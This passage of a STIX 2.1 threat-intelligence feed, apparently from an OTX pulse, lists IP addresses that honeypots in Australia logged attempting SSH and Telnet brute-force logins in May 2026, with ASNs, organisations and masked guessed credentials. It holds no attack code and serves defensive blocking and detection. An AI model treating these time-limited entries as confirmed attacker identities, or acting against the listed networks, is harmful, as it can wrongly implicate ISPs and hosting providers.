      "valid_until": "2026-06-17T18:15:08.000Z"
    },
    {
      "created": "2026-05-16T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: LB. ASN(s): 57513. Organisation(s): Mobile interim company 1 S.A.L..",
      "id": "indicator--8c73ed56-6b62-4923-98fd-21db148788f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.81.140.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T18:15:10.000Z",
      "valid_until": "2026-06-17T18:15:08.000Z"
    },
    {
      "created": "2026-05-16T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 208324. Organisation(s): Noor Al-Bedaya for General Trading, agricultural investments, Technical production and dist.",
      "id": "indicator--4a664375-08f3-4c24-8a36-c4c37e303706",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.7.10.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T18:15:10.000Z",
      "valid_until": "2026-06-17T18:15:08.000Z"
    },
    {
      "created": "2026-05-16T18:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53667. Organisation(s): FranTech Solutions. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*****!, 2******9, H*******4.",
      "id": "indicator--6f29f195-43cd-4f50-a85b-b9379dd63300",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.98.56.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T18:15:10.000Z",
      "valid_until": "2026-06-17T18:15:08.000Z"
    },
    {
      "created": "2026-05-16T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 269984. Organisation(s): CORPORACION MATRIX TV, C.A..",
      "id": "indicator--dc86c4bc-5bee-462f-be14-cf23902d35b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.62.164.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T18:15:10.000Z",
      "valid_until": "2026-06-17T18:15:08.000Z"
    },
    {
      "created": "2026-05-16T18:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 265862. Organisation(s): BM SOLUCIONES S.R.L..",
      "id": "indicator--af6ce1bf-ebe4-4cda-9456-dc9b08439090",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T18:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.224.188.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T18:15:10.000Z",
      "valid_until": "2026-06-17T18:15:08.000Z"
    },
    {
      "created": "2026-05-16T19:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd.. Usernames observed (masked): r**t, 3**********4, ***, ***, o*******r. Passwords observed (masked): !******2, 0**********!, 2******9, 3***********4, 3**********4.",
      "id": "indicator--b34904ea-2759-4e00-a35e-2934faf62aaf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.53.236.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T19:15:05.000Z",
      "valid_until": "2026-06-17T19:15:03.000Z"
    },
    {
      "created": "2026-05-16T19:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BF. ASN(s): 37577. Organisation(s): Orange.",
      "id": "indicator--ed135014-7fe3-4d25-926c-84881476eda9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.179.6.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T19:15:05.000Z",
      "valid_until": "2026-06-17T19:15:03.000Z"
    },
    {
      "created": "2026-05-16T19:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--64867c3d-0a3a-474f-8cb5-8d68424916e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.58.174.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T19:15:05.000Z",
      "valid_until": "2026-06-17T19:15:03.000Z"
    },
    {
      "created": "2026-05-16T19:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 17072. Organisation(s): TOTAL PLAY TELECOMUNICACIONES SA DE CV.",
      "id": "indicator--d07f4a30-c6e4-4615-b9a6-cecdffb24d59",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.189.95.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T19:15:05.000Z",
      "valid_until": "2026-06-17T19:15:03.000Z"
    },
    {
      "created": "2026-05-16T19:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 28548. Organisation(s): Cablevision, S.A. de C.V..",
      "id": "indicator--7c8b5091-ab14-4fb2-970f-ea5440a134c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.217.207.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T19:15:05.000Z",
      "valid_until": "2026-06-17T19:15:03.000Z"
    },
    {
      "created": "2026-05-16T19:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 134113. Organisation(s): Kazi Sazzad Hossain TA Millennium Computers & Networking.",
      "id": "indicator--c094a609-e928-4ef0-b2cd-3dcc6d4a422e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.123.253.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T19:15:05.000Z",
      "valid_until": "2026-06-17T19:15:03.000Z"
    },
    {
      "created": "2026-05-16T19:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--39575a89-fc23-43de-b300-0e2f95764874",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.20.63.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T19:15:05.000Z",
      "valid_until": "2026-06-17T19:15:03.000Z"
    },
    {
      "created": "2026-05-16T19:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd.",
      "id": "indicator--d2e5425e-1235-4a5b-bc62-6c15c251254a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '39.117.226.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T19:15:05.000Z",
      "valid_until": "2026-06-17T19:15:03.000Z"
    },
    {
      "created": "2026-05-16T19:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 4713. Organisation(s): NTT DOCOMO BUSINESS,Inc..",
      "id": "indicator--528b351e-3730-4ebe-a4ff-c7b89389752b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T19:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.45.238.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T19:15:05.000Z",
      "valid_until": "2026-06-17T19:15:03.000Z"
    },
    {
      "created": "2026-05-16T20:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--1c37874d-7361-44c1-a51a-aa0533079d73",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.76.42.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T20:15:06.000Z",
      "valid_until": "2026-06-17T20:15:03.000Z"
    },
    {
      "created": "2026-05-16T20:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, h******!, r********6.",
      "id": "indicator--89e2f60e-0323-4a3b-a1fe-4d1a34d20687",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.191.43.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T20:15:06.000Z",
      "valid_until": "2026-06-17T20:15:03.000Z"
    },
    {
      "created": "2026-05-16T20:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, r**t.",
      "id": "indicator--0e6e2757-f6a5-469a-9c55-02abfc186e44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '130.110.250.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T20:15:06.000Z",
      "valid_until": "2026-06-17T20:15:03.000Z"
    },
    {
      "created": "2026-05-16T20:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 28075. Organisation(s): ARLINK S.A..",
      "id": "indicator--a133bbdc-9318-4a4e-a8e4-bc80ec93fef4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.118.80.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T20:15:06.000Z",
      "valid_until": "2026-06-17T20:15:03.000Z"
    },
    {
      "created": "2026-05-16T20:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--977b1a05-8d11-4058-be63-3d70c9fd4628",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.135.167.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T20:15:06.000Z",
      "valid_until": "2026-06-17T20:15:03.000Z"
    },
    {
      "created": "2026-05-16T20:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, l********m.",
      "id": "indicator--f62bf77c-97d6-480e-9ad6-2f13acb93091",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '82.156.195.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T20:15:06.000Z",
      "valid_until": "2026-06-17T20:15:03.000Z"
    },
    {
      "created": "2026-05-16T20:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company.",
      "id": "indicator--3053de5f-6c10-403c-ac3a-cf406699e38b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T20:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '84.54.73.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T20:15:06.000Z",
      "valid_until": "2026-06-17T20:15:03.000Z"
    },
    {
      "created": "2026-05-16T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BF. ASN(s): 37577. Organisation(s): Orange.",
      "id": "indicator--5b9b0dfe-2e59-49ad-805c-075346bb632b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.179.135.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T21:15:10.000Z",
      "valid_until": "2026-06-17T21:15:08.000Z"
    },
    {
      "created": "2026-05-16T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 412. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 135354. Organisation(s): NAVER BUSINESS PLATFORM ASIA PACIFIC PTE. LTD.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******l, 1******r, 2******9.",
      "id": "indicator--b890ab48-c5a4-4aac-afac-16cbdfd55153",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '110.165.16.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T21:15:10.000Z",
      "valid_until": "2026-06-17T21:15:08.000Z"
    },
    {
      "created": "2026-05-16T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 134810. Organisation(s): China Mobile Group JiLin communications corporation.",
      "id": "indicator--9b4f3d4d-89a2-4481-bac5-ede7b6e8958d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.26.6.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T21:15:10.000Z",
      "valid_until": "2026-06-17T21:15:08.000Z"
    },
    {
      "created": "2026-05-16T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 482. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 54801. Organisation(s): Zillion Network Inc.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******l, 1******r, 2******9.",
      "id": "indicator--eb5496a7-e7fe-4bfd-9ec2-744f67ff7699",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '156.245.144.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T21:15:10.000Z",
      "valid_until": "2026-06-17T21:15:08.000Z"
    },
    {
      "created": "2026-05-16T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 412. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******l, 1******r, 2******9.",
      "id": "indicator--40f08d3d-81a2-4b2a-96c9-96c2da009d2f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.106.105.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T21:15:10.000Z",
      "valid_until": "2026-06-17T21:15:08.000Z"
    },
    {
      "created": "2026-05-16T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262378. Organisation(s): Compuservice Empreendimentos Ltda.",
      "id": "indicator--ff1009a5-e420-4b60-bba9-03c678d03279",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.131.19.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T21:15:10.000Z",
      "valid_until": "2026-06-17T21:15:08.000Z"
    },
    {
      "created": "2026-05-16T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SY. ASN(s): 29256. Organisation(s): Syrian Telecommunication Private Closed Joint Stock Company.",
      "id": "indicator--34e1405a-fae4-498d-ac4a-122508199517",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.225.42.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T21:15:10.000Z",
      "valid_until": "2026-06-17T21:15:08.000Z"
    },
    {
      "created": "2026-05-16T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BO. ASN(s): 26210. Organisation(s): AXS Bolivia S. A..",
      "id": "indicator--0dd20a59-8533-4ef9-ba2a-d76173cbd475",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.181.45.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T21:15:10.000Z",
      "valid_until": "2026-06-17T21:15:08.000Z"
    },
    {
      "created": "2026-05-16T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 482. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 11664. Organisation(s): Techtel LMDS Comunicaciones Interactivas S.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******l, 1******r, 2******9.",
      "id": "indicator--6e623e26-ea75-4f15-93e8-3e4b3c42b7a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.220.172.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T21:15:10.000Z",
      "valid_until": "2026-06-17T21:15:08.000Z"
    },
    {
      "created": "2026-05-16T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 15085. Organisation(s): Immedion, LLC.",
      "id": "indicator--92f62b28-c863-4661-bd81-0eefba26ae8c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '216.59.16.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T21:15:10.000Z",
      "valid_until": "2026-06-17T21:15:08.000Z"
    },
    {
      "created": "2026-05-16T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 15085. Organisation(s): Immedion, LLC.",
      "id": "indicator--5f364c9f-6b8b-4b61-a9db-0f2e1f3a658e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '216.59.21.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T21:15:10.000Z",
      "valid_until": "2026-06-17T21:15:08.000Z"
    },
    {
      "created": "2026-05-16T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--a19693c8-7afb-4c1b-aa32-97f433ec8320",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.181.22.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T21:15:10.000Z",
      "valid_until": "2026-06-17T21:15:08.000Z"
    },
    {
      "created": "2026-05-16T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 273599. Organisation(s): H2A TELECOM.",
      "id": "indicator--1af91b5e-08ec-4f8f-9b9a-e554621d1bbf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.3.186.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T21:15:10.000Z",
      "valid_until": "2026-06-17T21:15:08.000Z"
    },
    {
      "created": "2026-05-16T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 186. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 2******9, 3**********4, c*******t, h**u.",
      "id": "indicator--73cb0218-1018-4125-b6d6-806c6fdda548",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-16T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '4.240.82.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-16T21:15:10.000Z",
      "valid_until": "2026-06-17T21:15:08.000Z"
    },
    {
      "created": "2026-05-16T21:15:10.000Z",
